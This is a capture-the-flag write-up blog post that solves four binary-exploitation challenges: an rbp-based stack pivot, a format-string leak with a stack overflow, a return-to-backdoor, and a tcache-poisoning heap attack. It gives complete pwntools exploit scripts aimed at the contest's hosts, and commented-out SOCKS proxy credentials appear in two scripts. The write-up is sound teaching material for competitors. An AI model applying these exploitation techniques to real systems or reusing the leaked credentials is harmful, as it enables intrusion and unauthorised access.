2026磐石行动初赛pwn全解

前言

好久没写文章了,最近打了个比较简单的比赛就写一下,这比赛可能是考虑到禁了ai吧,比赛的pwn题都挺简单,不过吧,禁的效果就........这个堆题一血我记得是4分钟就写出来了,非常厉害啊,不过是不是人类非常厉害呢?栈题都很简单就不贴源码分析了。

pwn_rpg

题目开始就提示了Stack Pivot,后面input_name的确能溢出8字节来控制rbp,因为scanf的写入地址是由rbp控制的

.text:0000000000400A6F                 lea     rax, [rbp-4]
.text:0000000000400A73                 mov     rsi, rax

所以控制了rbp就控制了写入的位置所以可以往emy_hp写值,把值改成1,尽管后面会加1血也只有2,后续战斗直接attack就可以获胜然后getshell。

exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
'''
socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
    p = remote('psdxs.idss-cn.com',29878)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
tar=0x60208C
ru(b"Enter your name:")
pay=0x50*b'b'+p64(tar+4)
sd(pay)
ru(b"How many hp do you want to give (0-10000):")
slr(1)
ru(b'>')
slr(1)
ti()

guarded_echo

有pie,前面利用随机数形成了类似canary的检测,后续echo_phase有格式化字符串漏洞,利用格式化字符串泄露出win函数的地址和随机数,后续read_payload_length输入长度只能输入0x30-0x39,否则会直接exit,先输入0x39再输入0x38后面guarded_input输入的长度就有0x62大于缓冲区的0x50,栈溢出返回后门函数即可。exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
'''
socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
    p = remote('psdxs.idss-cn.com',24041)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
pay=b'bbb.%6$p.%9$p.aaa'
ru("guarded echo> ")
sl(pay)
ru(b'b'*3)
a,back,can,c=ru(b'a'*3).decode().split('.')
back=int(back,16)
can=int(can,16)
ru(b"Payload length: ")
sl(p8(0x39)+p8(0x38))
ru(b"payload> ")
pay=0x40*b'b'+p64(can)+b'b'*0x10+p64(back)
pay=pay.ljust(0x62,b'b')
sd(pay)
ti()

Return_Postcard

直接栈溢出返回后门函数。exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
context.log_level='debug'
context.arch='amd64'
flag = 1
if flag:
    p = remote('psdxs.idss-cn.com',20453)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
tar=0x401221
pay=0x48*b'b'+p64(tar)
p.sendline(pay)
ti()

tcache—vault

这里我把源码贴上来,应该是我太菜了四分钟连源码都看不完,有pie保护。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __time_t tv_sec; // r12
  unsigned __int64 v4; // rbx
  __int64 n16; // rcx
  _DWORD *v6; // rdi
  __int64 session_nonce_1; // rdx
  __int64 v8; // rax
  unsigned __int64 v9; // rax
  __time_t tv_sec_1; // rbx
  unsigned __int8 *v11; // r12
  unsigned __int8 *v12; // rbx
  unsigned __int8 *v13; // r12
  __time_t tv_sec_2; // rbx
  char *p_s; // rcx
  unsigned __int64 v16; // rdx
  unsigned int v17; // eax
  char v18; // al
  char *vault_candidate; // r12
  unsigned __int64 n0x3F; // rbx
  ssize_t v21; // rax
  __int64 v22; // rax
  unsigned __int64 v23; // rax
  __syscall_slong_t p_session_nonce; // [rsp+8h] [rbp-78h] BYREF
  timespec tp; // [rsp+10h] [rbp-70h] BYREF
  char s[16]; // [rsp+20h] [rbp-60h] BYREF
  char v28; // [rsp+30h] [rbp-50h] BYREF
  unsigned __int64 v29; // [rsp+48h] [rbp-38h]

  v29 = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  alarm(0x3Cu);
  p_session_nonce = 0;
  if ( getrandom(&p_session_nonce, 8, 0) != 8 )
  {
    clock_gettime(1, &tp);
    p_session_nonce = tp.tv_nsec ^ (tp.tv_sec << 32);
    p_session_nonce ^= (__int64)getpid() << 17;
  }
  if ( !p_session_nonce )
    p_session_nonce = 0x1F123BB5A77D909DLL;
  session_nonce = p_session_nonce;
  vault_area = 0;
  xmmword_4060 = 0;
  xmmword_4070 = 0;
  xmmword_4080 = 0;
  puts("=== Tcache Vault / relic audit console ===");
  puts("All allocations use one fixed archival class.");
  if ( (unsigned int)action_count <= 0xF )
  {
    while ( 2 )
    {
      puts("\n1. store relic");
      puts("2. release relic");
      puts("3. audit released relic");
      puts("4. calibrate released relic");
      puts("5. stage vault candidate");
      puts("6. unlock vault");
      puts("7. leave");
      if ( (int)read_number("> ", &p_session_nonce) >= 0 )
      {
        ++action_count;
        switch ( p_session_nonce )
        {
          case 1LL:
            if ( (int)read_number("slot: ", &tp) < 0 )
              goto LABEL_35;
            tv_sec = tp.tv_sec;
            if ( tp.tv_sec > 2uLL )
              goto LABEL_35;
            if ( states[tp.tv_sec] )
            {
              puts("slot already used");
            }
            else
            {
              v4 = (unsigned __int64)malloc(0x40u);
              if ( !v4 )
              {
                puts("allocation failed");
                exit(1);
              }
              n16 = 16;
              v6 = (_DWORD *)v4;
              while ( n16 )
              {
                *v6++ = 0;
                --n16;
              }
              session_nonce_1 = session_nonce;
              *(_QWORD *)(v4 + 16) = session_nonce ^ __ROL8__(v4 >> 12, 9) ^ 0xA5D4C39B72E1680FLL;
              *(_QWORD *)(v4 + 24) = __ROL8__(session_nonce_1, 17)
                                   ^ (unsigned __int64)audit_event
                                   ^ __ROR8__(v4 >> 12, 7)
                                   ^ 0x6B18F4E29D730AC5LL;
              v8 = __ROL8__(reward, 13);
              v9 = 0x9E6C63D0676A9A99LL
                 * (((v4 ^ tv_sec ^ session_nonce_1 ^ v8 ^ 0xD6E8FEB86659FD93LL) >> 29)
                  ^ v4
                  ^ tv_sec
                  ^ session_nonce_1
                  ^ v8
                  ^ 0xD6E8FEB86659FD93LL);
              *(_QWORD *)(v4 + 32) = HIDWORD(v9) ^ v9;
              fwrite("label: ", 1u, 7u, _bss_start);
              if ( (int)read_line(v4 + 40, 24) < 0 )
                exit(0);
              *((_QWORD *)&slots + tv_sec) = v4;
              states[tv_sec] = 1;
              audit_event(*(_QWORD *)(v4 + 32));
              puts("relic stored");
            }
            goto LABEL_73;
          case 2LL:
            if ( (int)read_number("slot: ", &tp) < 0 )
              goto LABEL_35;
            tv_sec_1 = tp.tv_sec;
            if ( tp.tv_sec > 2uLL )
              goto LABEL_35;
            if ( states[tp.tv_sec] == 1 )
            {
              free(*((void **)&slots + tp.tv_sec));
              states[tv_sec_1] = 2;
              puts("relic released; audit reference retained");
            }
            else
            {
              puts("slot is not live");
            }
            goto LABEL_73;
          case 3LL:
            if ( (int)read_number("slot: ", &tp) < 0 || tp.tv_sec > 2uLL )
              goto LABEL_35;
            if ( states[tp.tv_sec] == 2 )
            {
              v11 = (unsigned __int8 *)*((_QWORD *)&slots + tp.tv_sec);
              fwrite("DATA: ", 1u, 6u, _bss_start);
              v12 = v11;
              v13 = v11 + 64;
              do
                __printf_chk(1, "%02x", *v12++);
              while ( v12 != v13 );
              putc(10, _bss_start);
            }
            else
            {
              puts("only released relics can be audited");
            }
            goto LABEL_73;
          case 4LL:
            if ( (int)read_number("slot: ", &tp) < 0 || (tv_sec_2 = tp.tv_sec, tp.tv_sec > 2uLL) )
            {
LABEL_35:
              puts("invalid slot");
              goto LABEL_73;
            }
            if ( states[tp.tv_sec] != 2 )
            {
              puts("only released relics can be calibrated");
              goto LABEL_73;
            }
            fwrite("next (16 hex digits): ", 1u, 0x16u, _bss_start);
            if ( (int)read_line(s, 40) < 0 || strlen(s) != 16 )
              goto LABEL_46;
            p_s = s;
            v16 = 0;
            do
            {
              v18 = *p_s;
              if ( (unsigned __int8)(*p_s - 48) > 9u )
              {
                if ( (unsigned __int8)(v18 - 97) > 5u )
                {
                  if ( (unsigned __int8)(v18 - 65) > 5u )
                  {
LABEL_46:
                    puts("invalid patch");
                    goto LABEL_73;
                  }
                  v17 = v18 - 55;
                }
                else
                {
                  v17 = v18 - 87;
                }
              }
              else
              {
                v17 = v18 - 48;
              }
              v16 = v17 | (16 * v16);
              ++p_s;
            }
            while ( &v28 != p_s );
            **((_QWORD **)&slots + tv_sec_2) = v16;
            puts("calibration written");
            goto LABEL_73;
          case 5LL:
            if ( (unsigned int)vault_requests > 1 )
            {
              puts("vault request quota exhausted");
            }
            else
            {
              ++vault_requests;
              vault_candidate = (char *)malloc(0x40u);
              if ( !vault_candidate )
              {
                puts("allocation failed");
                exit(1);
              }
              fwrite("payload (64 bytes): ", 1u, 0x14u, _bss_start);
              for ( n0x3F = 0; n0x3F <= 0x3F; n0x3F += v21 )
              {
                while ( 1 )
                {
                  v21 = read(0, &vault_candidate[n0x3F], 64 - n0x3F);
                  if ( !v21 )
LABEL_58:
                    exit(0);
                  if ( v21 >= 0 )
                    break;
                  if ( *__errno_location() != 4 )
                    goto LABEL_58;
                }
              }
              ::vault_candidate = (__int64)vault_candidate;
              puts("candidate staged");
            }
LABEL_73:
            if ( (unsigned int)action_count <= 0xF )
              continue;
            goto LABEL_76;
          case 6LL:
            if ( ::vault_candidate )
            {
              if ( (__int128 *)::vault_candidate == &vault_area )
              {
                if ( vault_area == __PAIR128__(session_nonce, 0x5641554C545F4F4BLL) )
                {
                  v22 = __ROL8__(reward, 13);
                  v23 = 0x9E6C63D0676A9A99LL
                      * (((*((_QWORD *)&vault_area + 1) ^ (unsigned __int64)&vault_area ^ v22 ^ 0xD6E8FEB86659FD93LL) >> 29)
                       ^ *((_QWORD *)&vault_area + 1)
                       ^ (unsigned __int64)&vault_area
                       ^ v22
                       ^ 0xD6E8FEB86659FD93LL);
                  if ( (_QWORD)xmmword_4060 == (HIDWORD(v23) ^ v23) )
                  {
                    if ( *((__int64 (__fastcall **)(_QWORD))&xmmword_4060 + 1) == reward )
                    {
                      BYTE7(xmmword_4080) = 0;
                      reward(&xmmword_4070);
                      exit(0);
                    }
                    puts("[vault] callback mismatch");
                  }
                  else
                  {
                    puts("[vault] checksum mismatch");
                  }
                }
                else
                {
                  puts("[vault] seal mismatch");
                }
              }
              else
              {
                puts("[vault] candidate is outside the sealed chamber");
              }
            }
            else
            {
              puts("no candidate staged");
            }
            goto LABEL_73;
          case 7LL:
            puts("session closed");
            return 0;
          default:
            puts("unknown action");
            goto LABEL_73;
        }
      }
      break;
    }
  }
LABEL_76:
  puts("audit action limit reached");
  return 0;
}

详细的就不一步步分析了,讲一下关键点,switch就类似菜单一样的只是不像大部分堆题各部分单独用函数而已,read_number就是打印第一个参数,读取一行作为长整数写入第二个参数。tp.tv_sec就是index,slots是链表,states就是状态,1是使用2是free。总体看下来就是普通的堆题,有show,申请长度固定0x40,有UAF,edit写入是通过

**(&slots + tv_sec_2) = v16;

来写入的,可以看见直接改的位置就是fd的位置,甚至还明确提示了,必须是free的states才能edit,相当保姆了,只是edit要输入16进制的字符串不能直接p64注意一下就可以了。有后门函数,而且主程序还能调用后门函数,满足这些条件即可

     if ( ::vault_candidate )
            {
              if ( ::vault_candidate == &vault_area )
              {
                if ( vault_area == __PAIR128__(session_nonce, 0x5641554C545F4F4BLL) )
                {
                  v22 = __ROL8__(reward, 13);
                  v23 = 0x9E6C63D0676A9A99LL
                      * (((*(&vault_area + 1) ^ &vault_area ^ v22 ^ 0xD6E8FEB86659FD93LL) >> 29)
                       ^ *(&vault_area + 1)
                       ^ &vault_area
                       ^ v22
                       ^ 0xD6E8FEB86659FD93LL);
                  if ( xmmword_4060 == (HIDWORD(v23) ^ v23) )
                  {
                    if ( *(&xmmword_4060 + 1) == reward )
                    {
                      BYTE7(xmmword_4080) = 0;
                      reward(&xmmword_4070);//!!!!!!!!!
                      exit(0);
                    

稍微讲一下malloc他初始化的操作

  {
              v4 = malloc(0x40u);
              if ( !v4 )
              {
                puts("allocation failed");
                exit(1);
              }
              n16 = 16;
              v6 = v4;
              while ( n16 )
              {
                *v6++ = 0;
                --n16;
              }
              session_nonce_1 = session_nonce;//session_nonce是随机值,不可预测
              *(v4 + 16) = session_nonce ^ __ROL8__(v4 >> 12, 9) ^ 0xA5D4C39B72E1680FLL;
              *(v4 + 24) = __ROL8__(session_nonce_1, 17) ^ audit_event ^ __ROR8__(v4 >> 12, 7) ^ 0x6B18F4E29D730AC5LL;
              v8 = __ROL8__(reward, 13);
              v9 = 0x9E6C63D0676A9A99LL
                 * (((v4 ^ tv_sec ^ session_nonce_1 ^ v8 ^ 0xD6E8FEB86659FD93LL) >> 29)
                  ^ v4
                  ^ tv_sec
                  ^ session_nonce_1
                  ^ v8
                  ^ 0xD6E8FEB86659FD93LL);
              *(v4 + 32) = HIDWORD(v9) ^ v9;
              fwrite("label: ", 1u, 7u, _bss_start);
              if ( read_line(v4 + 40, 24) < 0 )
                exit(0);
              *(&slots + tv_sec) = v4;
              states[tv_sec] = 1;
              audit_event(*(v4 + 32));
              puts("relic stored");
            }

这里我介绍一下ida反编译出来的几个宏

HIDWORD即high DWORD dword是双字的意思,一个字2字节所以就是高4字节所以HIDWORD(v23) ^ v23就是(v23>>32)^v23
__PAIR128__简单来说就是把这两个参数拼一起,但在我们64位系统中,实际上就是0x8:0x5641554C545F4F4BLL,0x10:session_nonce
顺便一提0x5641554C545F4F4BLL就是'VAULT_OK'注意小端序即可
__ROL8__循环左移,我们解这题不需要知道他是什么,python里有这个函数,这个8也没有用,直接看汇编就能看出来旁边就是左移的位数
如rol     rcx, 9
__ROR8__循环右移,我们解这题不需要知道他是什么,python里有这个函数,这个8也没有用,直接看汇编就能看出来旁边就是右移的位数

写题先可以发现audit_event是一个函数,所以我们只要知道他的地址就可以泄露出pie了,因为这题版本是2.39,所以有safe_linking所以我们只要释放一个堆块再show就可以有堆地址>>12(v4 >> 12)的值了,又因为他show可以泄露堆的信息,我们根据堆地址+0x10(*(v4 + 16))的值就可以求出session_nonce,知道session_nonce和堆地址>>12根据 *(v4 + 24)就可以求出来audit_event即求出程序基地址,然后我们打tcache attack往vault_area改值满足后门函数的条件然后调用后门函数即可。exp如下

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
flag = 1
if flag:
    p=remote('psdxs.idss-cn.com',25946)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00'))
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def rol8(value, shift):
    shift %= 8 
    return ((value << shift) | (value >> (8 - shift))) & 0xFF
def cmd(s):
    ru(b"> ")
    slr(s)
def add(a,b):
    cmd(1)
    ru(b"slot: ")
    slr(a)
    ru(b"label: ")
    sl(b)
def free(a):
    cmd(2)
    ru(b"slot: ")
    slr(a)
def show(a):
    cmd(3)
    ru(b"slot: ")
    slr(a)
    ru(b"DATA: ")
def add1(b):
    cmd(5)
    ru(b"payload (64 bytes): ")
    sd(b)
def edit(a,b):
    cmd(4)
    ru(b"slot: ")
    slr(a)
    ru(b"next (16 hex digits): ")
    sl(b)
a=0x1F123BB5A77D909D
add(0, b'AAAA')
free(0)
show(0)
buf=rcl()
buf=unhex(buf)
add(1, b'AAAA')
add(2, b'AAAA')
heap=u64(buf[0:8])
a1=u64(buf[16:24])
a2=u64(buf[24:32])
ph(heap)
non=a1^0xA5D4C39B72E1680F^rol(heap,9)
pie=a2^ror(heap,7)^rol(non,17)^0x6B18F4E29D730AC5
pie-=0x1279
back=pie+0x12A6
tar=pie+0x4050
ph(heap)
free(2)
free(1)
edit(1,str(f"{(heap^tar):016x}"))
add1(b'b'*0x40)
b=rol(back,13)
c=((non^tar^b^0xD6E8FEB86659FD93)>>29)
d=(c^non^tar^b^0xD6E8FEB86659FD93)
res=(0x9E6C63D0676A9A99*d)&(0xFFFFFFFFFFFFFFFF)
res=(res >> 32) ^ res
add1(b'KO_TLUAV'+p64(non)+p64(res)+p64(back)+b'\x00'*0x20)
ti()

虽然这题除了逆向看的人烦之外的确不难,但我还是想说,一血4分钟就解出来,非常厉害啊,不过我不记得人家名字不知道有没有ban就是了。

posted @ 2026-09-08 00:34  firefly_star  阅读(8)  评论(0)    收藏  举报